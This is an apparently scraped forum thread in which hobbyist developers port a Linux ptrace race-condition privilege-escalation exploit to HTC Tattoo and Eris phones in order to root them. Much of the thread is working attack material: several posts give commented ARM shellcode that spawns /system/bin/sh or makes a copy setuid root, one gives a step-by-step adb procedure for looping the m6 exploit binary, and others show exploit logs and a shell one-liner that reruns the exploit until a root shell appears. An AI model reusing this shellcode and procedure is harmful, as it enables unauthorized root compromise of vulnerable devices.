yashsingh1/xdaforums huggingface dataset:
[Click Android Development] bftb0:
I thought about holding this under my hat for a little while, but that's just dev pride standing in the way of a larger objective, and this could be useful for others beyond Tatoo/Eris. (BTW, my testing is being done on an Eris... yah, I know, wrong forum... but this thread seems to be where the contributors are).

Here's the keys to the shellcode/syscall kingdom on Android

(Android_Cupcake_Source_Tree)/bionic/libc/arch-arm/syscalls/execve.S:

==================================================================

/* autogenerated by gensyscalls.py */

#include <sys/linux-syscalls.h>

.text

.type execve, #function

.globl execve

.align 4

.fnstart

execve:

.save {r4, r7}

stmfd sp!, {r4, r7}

ldr r7, =__NR_execve

swi #0

ldmfd sp!, {r4, r7}

movs r0, r0

bxpl lr

b __set_syscall_errno

.fnend

==================================================================

Bottom line?

Stuff the system call number into R7, and call SWI 0x0

For execve() = __NR_execve = 0x0b ... you can look up the others

Perversely, it doesn't seem to matter whether you do a

SWI 0x90000b -or- SWI 0x00000b -or- SWI 0x0 - as long as 0xb is in R7, it goes.

In shellcode, just load r7 with 0xb right ahead of the SWI

"\x0b\x70\x83\xe2" // bionic majik
"\x00\x00\x00\xef" // swi 0x0

greets

bftb0
[Click Android Development] bftb0:
That's good news ... are you saying that ptrace(...POKE..) returns a normal (zero) error condition?

The original PoC code (milw0rm8678?) runs on x86 and injects right at eip - are you trying your injection at the ARM PC (program counter) location?

When I first started using that milw0rm PoC code, I modded it so the executable would return a non-zero value when it finally got a "WIN!" and a zero otherwise ... that way I could just run it in a infinite loop until it got an attachment, as in:

$ while ./mysploit ; do

> :

> done

After that, when I would look using "ps", I would see lots of zombie-children (/system/bin/ip) and a few zombie-parents (!!!) in the process table - and some of the children would be root-owned, and some of them shell-owned. That is consistent with two things: (1) the fact that the MW sploit is attacking a race condition, and (2) the original MW code left zombies around - it didn't always do a detach when it got an attachment but didn't satisfy the "if (buf[0]..." conditional.

The only thing shared between x86 linux and Android is bits and pieces of kernel code - the Google kernel is actually a branch of the mainline kernel, and Google not only castrated a lot of stuff out of the kernel to reduce bloat and eliminate stuff that simply doesn't make sense for an ARM uP, but they re-wrote some fairly significant things, too. So, anyway, I think it is useful to know that a particular sploit worked on x86 Linux, but that's not much more than a hint that things might go well in Android/ARM... or not.

I've tried this, but not sure I did it correctly. I can't say I understand the interactions between ptrace() and the signaling facilities.

I think that is a red herring (as I mentioned above).

Rats, I'm getting frustrated. There have been lots of times when I thought, "I'm at the gate!"... only to find that there was another gate behind the one I just opened.

Just to make sure I haven't missed something subtle - are you able to set up the toolchain to compile statically? I am still linking everything dynamically (other than shellcode, of course).

Also I seemed to have mysteriously lost the ability to inject (POKE) anything with ptrace() ... I'm about 99% sure that I was doing it before, but now I get -1 returns, no matter if I choose something near PC or SP.

greets,

bftb0
[Click Android Development] mainfram3:
There's another exploit, for the same bug, at http://www.milw0rm.com/exploits/8673

This one seems less elaborate than shoryuken but maybe there's something there that can help ? I'm sorry that I can't help you guys any further but I never got into ARM asm :/

Cheers & Success :D
[Click Android Development] zanfur:
Here's some shellcode, with comments. All of it tested and working, assuming you have correct privileges. The first block just executes execve of the specified filename, the second block is a port of the original x86 shellcode and calls all the same syscalls, and the third doesn't execute anything but changes the file permissions to setuid root (chown+chmod).

#include <stdio.h>

/* execve(file, {file,NULL}, {NULL}); */
/* char shellcode[] =
/* "\x03\x30\x43\xe0"
/* "\x14\x00\x8f\xe2"
/* "\x08\x00\x0d\xe5"
/* "\x04\x30\x0d\xe5"
/* "\x08\x10\x4d\xe2"
/* "\x04\x20\x4d\xe2"
/* "\x0b\x70\xa0\xe3"
/* "\x0b\x00\x90\xef"
/* "/system/bin/sh";
*/

/* ftime(0); setuid16(0); execve(file, {file,NULL}, {NULL});
/* char shellcode[] =
/* "\x00\x00\x40\xe0" /* sub r0, r0, r0 */
/* "\x23\x70\xa0\xe3" /* mov r7, #23 */
/* "\x0b\x00\x90\xef" /* swi 0x0 */
/* "\x00\x00\x40\xe0" /* sub r0, r0, r0 */
/* "\x17\x70\xa0\xe3" /* mov r7, #17 */
/* "\x0b\x00\x90\xef" /* swi 0x0 */
/* "\x03\x30\x43\xe0" /* sub r3, r3, r3 */
/* "\x14\x00\x8f\xe2" /* add r0, pc, #20 */
/* "\x08\x00\x0d\xe5" /* str r0, [sp, #-8] */
/* "\x04\x30\x0d\xe5" /* str r3, [sp, #-4] */
/* "\x08\x10\x4d\xe2" /* sub r1, sp, #8 */
/* "\x04\x20\x4d\xe2" /* sub r2, sp, #4 */
/* "\x0b\x70\xa0\xe3" /* mov r7, #11 */
/* "\x0b\x00\x90\xef" /* swi 0x0 */
/* "/system/bin/sh";
*/

/* setuid(0); chown(file, 0, 0); chmod(file, 04777); exit(0) */
char shellcode[] =
"\x00\x00\x40\xe0" /* sub r0, r0, r0 */
"\xd5\x70\xa0\xe3" /* mov r7, #213 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x01\x10\x41\xe0" /* sub r1, r1, r1 */
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x10\x00\x8f\xe2" /* add r0, pc, #32 */
"\xd4\x70\xa0\xe3" /* mov r7, #212 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x09\x1c\xa0\xe3" /* mov r1, #9 ror 24 */
"\xff\x10\x81\xe2" /* add r1, r1, #255 */
"\x0c\x00\x8f\xe2" /* add r0, pc, #12 */
"\x0f\x70\xa0\xe3" /* mov r7, #23 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x01\x70\xa0\xe3" /* mov r7, #1 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"/data/local/sh";

int main()
{
((void (*)(void)) & shellcode)();
return 0;
}

As I've said, I can't get the exploit to work, injection or no -- I can attach to the setuid process, but then it doesn't actually change uid to root, so I get nowhere even though the injection works and spawns a shell for me. If anyone needs shellcode to do something specific, let me know and I can provide. I've learned a lot of ARM assembly in the past couple days...Or, someone find me an exploit that actually works, and I can whip up some more shellcode and break this open pretty quickly.

I made the last one, the chown/suid one, so I could just run the bugger continually without having to wait for a shell. I copied /system/bin/sh to /data/local/sh (need a copy as /system/bin is mounted read-only). If the filemode ever changes, it worked (this has happened already). If the file *owner* ever changes, we have root. I'm just continually running it now; I'll check it in a few hours.
[Click Android Development] Coburn64:
Sounds great! Looks like if you could run and run and run (etc etc etc) that app, it could eventually snap something off (Buffer Overflow as an example?) and make a dint in the security layer.

While this ARM code is like totally odd (I haven't learnt ARM code... I know Hex code though :P) as I look at it, at least people know what they are doing. And us others can prepare to party once we've broken free of no-root.

Thanks and good luck zanfur! :)
[Click Android Development] bftb0:
Where in the childs' address space are you injecting? Right at the PC? Some offset from the SP?

On the Eris, I can attach... but not gain execution control of the child, whether it's suid or not - I resolved my troubles with ptrace() returning errors during POKEs... (it no longer complains about me pushing words in, even right at the PC register), but I'm not gaining control of a thread - nor do I have much evidence of the child throwing an exception as a result of a corrupted stack.

Hmmm.
[Click Android Development] alexpux:
Try to find the exploit

Sorry for my bad English. I`am from Russia and i have official Tattoo with ROM 1.67.411.7. I googling for exploits on kernel 2.6.29 and find that h__p://black-coders.net/articles/linux/stack-smashing-attack.txt. May be that url help to get root privileges...
[Click Android Development] HT123:
Thank you

Thank you.

as far as developers pride, let me concede publicly that you have me beat as far as knowledge of this stuff and despite who runs the program you two are the ones who deserve the credit if we get this thing cracked.

I didn't have much time to play with it last night but in the few instances i did i noticed that when i did win and get a shell that as you said, it was uid shell rather then root. I also noticed that there were instances of ip having a uid shell which i don't understand as it is suid.

Did either of you see anything similar?
[Click Android Development] zanfur:
That is exactly what I've seen. I've also seen stopped processes of ip running as root, which indicates that I've successfully attached to them (attaching stops the process), but for some reason they weren't restarted. I think there's a bug in the exploit code itself particularly the check, which I'll be experimenting with this evening.

Any chance I could join that team of Eris devs I notice you're on?
[Click Android Development] HT123:
Ptrace_cont

in comparing this exploit code with the one one posted a few comments up i notice we never continue. we just detach.

i will PM you who to talk to about the dev team.
[Click Android Development] zanfur:
You can also simply send signal 18 (SIGCONT, kill -18 <pid>) to get it to continue, even if it's root-owned (the euid is "root" but the ruid is still "shell" -- this is an effect of it being setuid). The issue is that the injection won't have happened yet. I've toyed with altering the check (original sploit just checked the first character of the cmd string), and even just *removing* the check and always attempting the injection if the attach succeeds. Results: When process is owned by root, even if the attach occurs, the GETREGS, POKETEXT, and DETACH all fail -- even though it successfully attaches and stops the process. When it's owned by shell, it works just fine, but we don't care.

Oddly, occasionally the *first* word will fail to inject, and the rest will succeed. This only happens on shell-owned processes, though. I suspect I'm just hitting a small window of non-injectability during the exec. I've put a nop ramp in front of the shellcode so that it will still work (as long as the one non-overwritten instruction isn't a jump), but still no rooty goodness.

I think it's time to look for a new exploit. This one doesn't give us root escalation. I suspect that HTC patched this hole in the ptrace code instead of the exec code, or perhaps there's some memory protection going on with this platform.
[Click Android Development] zanfur:
Thanks for looking around. That paper describes how to exploit kernel module vulnerabilities, but we haven't found any such vulnerabilities yet. It's probably worth figuring out which kernel modules were added by HTC and grepping the source code for strcpy() calls -- if we find an appropriate one, we could potentially use this process.

Cheers!

-robin
[Click Android Development] zanfur:
I'm on the Eris as well, not the Tattoo. I suspect you're compiling against the wrong headers -- I had issues with that at first. What toolchain are you using?

I'm injecting my code *right* at the PC. And it works...on non-root processes.

I'm not at my dev station right now, but I'll shoot you an PM with the actual code I have with the injection working. If you send me a PM with IM info, perhaps we can talk more real-time and combine forces to crack this thing open -- it looks like we have some non-overlapping information we could share.
[Click Android Development] zanfur:
Nevermind, I can't send you a PM. Send me one with your email/IM/whatever and I'll send you what I've got.
[Click Android Development] HT123:
I added the continue and while having no effect on the exploit. it made me happy that when it did attach is then exited gracefully.
[Click Android Development] -bm-:
Is here anybody around trying your state of work on tattoo? Just in case you have got something that would work on tattoo but not on eris and nobody knows it... If there is a need I could compile and run things on my tattoo.

And maybe some exiting news about the eris: There are some devs who got something working but didn't publish it right now?!? In this thread ( http://xdaforums.com/showthread.php?t=617203 ) I found that:

Ht123 is active in our thread. Did they find something you don't know about or are they just talking about what we have got here already?

Bastian
[Click Android Development] HT123:
same bug

The Eris thread was talking about what zanfur and btfb0 are discussing. I am active here but those two are the ones doing the real work. As i said before,no matter who runs the program that deliver a root shell first, any credit and bounty should go to them.
[Click Android Development] mainfram3:
bftb0 is using a Tattoo and Zanfur is using a Droid Eris.

I never checked the kernel code for the Eris, maybe this bug has been patched there ?

I find it hard to believe that the Android devs would patch this bug without using the kernel patch that was applied to the linux kernel, but everything's possible :(
[Click Android Development] zifnab06:
Unless I missed it, I dont think we have anything you don't so far.
[Click Android Development] mainfram3:
Hmm.. I managed to get a root shell. The /system/bin/sh process was owned by root and instead of the $ I got a #. Funny thing is that id still showed me as uid 2000. Tried to chown a file to root and no luck (permission denied).

Anyone else got this ?
[Click Android Development] HT123:
semi-root

Well, kinda. i have had shells spawned by the exploit, buy never owned by root.

what device? what code were you using for the exploit?
[Click Android Development] mainfram3:
Can I has r00t, please ?

Lady,

Gentlemen,

We have root.

m6 is the binary. m5.c is the source.

Shellcode courtesy of zanfur (Credit where it is due).

To exploit:

Copy m6 to /data/local/bin

adb shell

chdir to /data/local/bin

run:

while `true`

do

./m6

done

Wait, and enjoy.

Edit: This takes a long time to work. I had the binary renamed to r00t and I never got it to work. Running it as m6 works, but it will take time. Sometimes, after doing a reboot, it's preety quick.

I've remounted /system as rw and I can't write to it ? I always get "not enough memory".. deleted mp3's from ringtones and I always get 0 space left from df ?

Edit 2: I'm having a lot of trouble reproducing it, but it works. After a fresh reboot try running some programs while running the exploit. This seemed to work.
[Click Android Development] sheik_yerbouti:
OMG

mainfram3, would you mind giving details instructions to applying this exploit?
[Click Android Development] mainfram3:
I'm having a _lot_ of trouble reproducing it, but I can do it.

As soon as I can work out which factors enhance the chances for the exploit to work, I'll post a better explanation.
[Click Android Development] mobisat:
Looking good guys, keep up the good work.
[Click Android Development] sheik_yerbouti:
Fair enough. :)
[Click Android Development] acidbath5546:
Check your PM :)
[Click Android Development] mainfram3:
HOWTO:

Grab the r00t.zip from the post above.

Go to Programs > USB to PC.

Choose HTC Sync and check "Ask me".

Connect your Tattoo to a PC.

Once the popup appears, just touch Done.

Open a command prompt/shell.

Grab a copy of adb.

Place the m6 binary, from r00t.zip, in the directory where you have adb.

Chdir to that directory.

Type the following:

adb push m6 /data/local/bin/m6
adb shell chmod 755 /data/local/bin/m6
adb shell
chdir /data/local/bin/
while `true`
do ./m6
done

It will take a lot of time. Using the Tattoo seems to help, particulary launching some applications and then killing them with Task killer.

Some of the times the exploit works, but doesn't spawn a shell. Just CTRL+C and restart. When it is done, you'll be standing before a nice #.

Type /system/bin/id to prove :D
[Click Android Development] sheik_yerbouti:
Thanks for the steps, mainfram3. 2 questions:

1. HTC Sync doesn't need to be installed on the PC, right?

2. What are the chances of bricking the Tattoo while doing this?
[Click Android Development] life02:
I'm getting:

C:\android\tools>adb shell push m6 /data/local/bin/m6

push: permission denied
[Click Android Development] mainfram3:
Sorry, that should be

adb push m6 /data/local/bin/m6
[code]
[Click Android Development] HT123:
normal shell

Yup... me to..
[Click Android Development] jamezelle:
any suggestions?
[Click Android Development] mainfram3:
Apart from what I wrote above, not really. _When_ it works, I'm getting a 50/50 ratio on regular vs suid shell.

I assure you that this does work, I just wish there was a way to make it work on the first try, every try :(
[Click Android Development] HT123:
get a tatoo?

sorry.... bad joke.

no, i don't.
[Click Android Development] jamezelle:
lmao thanks!!! i needed that laugh;)

gonna keep trying i guess:rolleyes:
[Click Android Development] bftb0:
Awesome! 280 bytes pushed?

No love futzing with it on Eris ... so far.

"reboot -h" - I like that :)

When you got `#' - was the insertion point someplace else besides 0xb0000100 ?

bftb0
[Click Android Development] HT123:
i was wondering why so much was pushed as well. if you look in the code the while that pushes the shellcode is while i < 70 *4 even though the shellcode is much less (i cant remember now, maybe 56 bytes or something)

regardless.... I am also curious as to where the insertion in happening.
[Click Android Development] zifnab06:
Just to put my own 2 cents in:

usage: reboot [-n] [-p] [rebootcommand]
reroc/2364/cmdline[ WIN! 2364
Wrote shellcode 9ab8 line 0
Wrote shellcode 9abc line 4
Wrote shellcode 9ac0 line 8
Wrote shellcode 9ac4 line 12
Wrote shellcode 9ac8 line 16
Wrote shellcode 9acc line 20
Wrote shellcode 9ad0 line 24
Wrote shellcode 9ad4 line 28
Wrote shellcode 9ad8 line 32
Wrote shellcode 9adc line 36
Wrote shellcode 9ae0 line 40
Wrote shellcode 9ae4 line 44
Wrote shellcode 9ae8 line 48
Wrote shellcode 9aec line 52
Wrote shellcode 9af0 line 56
Wrote shellcode 9af4 line 60
Wrote shellcode 9af8 line 64
Wrote shellcode 9afc line 68
Wrote shellcode 9b00 line 72
Wrote shellcode 9b04 line 76
Wrote shellcode 9b08 line 80
Wrote shellcode 9b0c line 84
Wrote shellcode 9b10 line 88
Wrote shellcode 9b14 line 92
Wrote shellcode 9b18 line 96
Wrote shellcode 9b1c line 100
Wrote shellcode 9b20 line 104
Wrote shellcode 9b24 line 108
Wrote shellcode 9b28 line 112
Wrote shellcode 9b2c line 116
Wrote shellcode 9b30 line 120
Wrote shellcode 9b34 line 124
Wrote shellcode 9b38 line 128
Wrote shellcode 9b3c line 132
Wrote shellcode 9b40 line 136
Wrote shellcode 9b44 line 140
Wrote shellcode 9b48 line 144
Wrote shellcode 9b4c line 148
Wrote shellcode 9b50 line 152
Wrote shellcode 9b54 line 156
Wrote shellcode 9b58 line 160
Wrote shellcode 9b5c line 164
Wrote shellcode 9b60 line 168
Wrote shellcode 9b64 line 172
Wrote shellcode 9b68 line 176
Wrote shellcode 9b6c line 180
Wrote shellcode 9b70 line 184
Wrote shellcode 9b74 line 188
Wrote shellcode 9b78 line 192
Wrote shellcode 9b7c line 196
Wrote shellcode 9b80 line 200
Wrote shellcode 9b84 line 204
Wrote shellcode 9b88 line 208
Wrote shellcode 9b8c line 212
Wrote shellcode 9b90 line 216
Wrote shellcode 9b94 line 220
Wrote shellcode 9b98 line 224
Wrote shellcode 9b9c line 228
Wrote shellcode 9ba0 line 232
Wrote shellcode 9ba4 line 236
Wrote shellcode 9ba8 line 240
Wrote shellcode 9bac line 244
Wrote shellcode 9bb0 line 248
Wrote shellcode 9bb4 line 252
Wrote shellcode 9bb8 line 256
Wrote shellcode 9bbc line 260
Wrote shellcode 9bc0 line 264
Wrote shellcode 9bc4 line 268
Wrote shellcode 9bc8 line 272
Wrote shellcode 9bcc line 276
[ Overwritten 0xb0000100

Then it dies. I'll keep running it though to double check.
[Click Android Development] zanfur:
Well, this explains a lot. The code I've been banging my head against on the Eris actually works on the Tattoo, but the hole is *patched* on the Eris. Sorry for not forwarding my code earlier to anyone with a Tattoo -- I thought we were running the same kernel. The Eris has its own patch, not the mainstream one. Oddly, the Eris patch doesn't prevent attaching to the root process, but it prevents doing anything with it once attached.

I'm thrilled my shellcode got us into the Tattoo, but darnit, I'm back to square one on the Eris.
[Click Android Development] zifnab06:
sad face :(

Edit - can this code be modified to work still? Or is this route out entirely?
[Click Android Development] mainfram3:
Zanfur, in case you got a more "polished" exploit, do you mind sharing it ?

I was successfull in getting a # shell but the uid was still 2000. So i used your setuid() shellcode and it works like a charm.

I'm also having problems setting up a suid shell. Can't write to /system, even after remounting rw, and all the other places are mounted nosuid :mad:
[Click Android Development] jamezelle:
that sucks...
[Click Android Development] bftb0:
Check your environment in the new (root) shell with the 'set' (no arguments) command.

The child shell won't have any environment - in particular LD_LIBRARY_PATH - and the executables that you might be trying to use (in /system/bin) are dynamically linked.

Mebbe they are failing because they don't load completely? Dunno, just a w.a.g.

bftb0
[Click Android Development] zanfur:
The difference between your code and mine is that I use /system/bin/ip, not reboot, and I use while (i < sizeof(shellcode)) instead of over-writing. It's the same code, it just doesn't work on the Eris.

To set up an suid shell to run at any time, copy /system/bin/sh to /data/local/sh and "chmod 4755 /data/local/sh". The media mounted at /system is probably read-only media (EEPROM?), so it would be like remounting a cd-rom drive rw...still not gonna let you write to it. I'm just guessing there, though -- I don't have a Tattoo, I have an Eris.
[Click Android Development] zanfur:
Oh, I do have one that would work a bit more automated-like. Change the shellcode to the one I posted a while back that changes the /data/local/sh to setuid root, and run the following:

cp /system/bin/sh /data/local/sh; while [ -O /data/local/sh ]; do ./m6 > /dev/null 2> /dev/null; done; /data/local/sh

This will just keep running the exploit until it actually changes the file permissions to suid root. When it's done, it'll invoke the shell, dropping you into a root shell.

Here's that shellcode, so you don't have to go hunting:

/* setuid(0); chown(file, 0, 0); chmod(file, 04777); exit(0); */
char shellcode[] =
"\x00\x00\x40\xe0" /* sub r0, r0, r0 */
"\xd5\x70\xa0\xe3" /* mov r7, #213 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x01\x10\x41\xe0" /* sub r1, r1, r1 */
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x10\x00\x8f\xe2" /* add r0, pc, #32 */
"\xd4\x70\xa0\xe3" /* mov r7, #212 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x09\x1c\xa0\xe3" /* mov r1, #9 ror 24 */
"\xff\x10\x81\xe2" /* add r1, r1, #255 */
"\x0c\x00\x8f\xe2" /* add r0, pc, #12 */
"\x0f\x70\xa0\xe3" /* mov r7, #23 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"\x01\x70\xa0\xe3" /* mov r7, #1 */
"\x0b\x00\x90\xef" /* swi 0x0 */
"/data/local/sh";

This should work in a one-shot, even if the exploit fails a number of times first. You can change "/data/local/sh" to anything you'd like without needing modifications to the shellcode, just be sure to change it in the command as well.

Edit: Just noticed the bit about being mounted nosuid. Nevermind on this, then. You'll need to check for the process being owned as root, instead of for the first character matching. I'll get some code for that up in a bit.
[Click Android Development] zanfur:
Can't you remount them suid? "mount -o remount,suid,rw /data" or whatever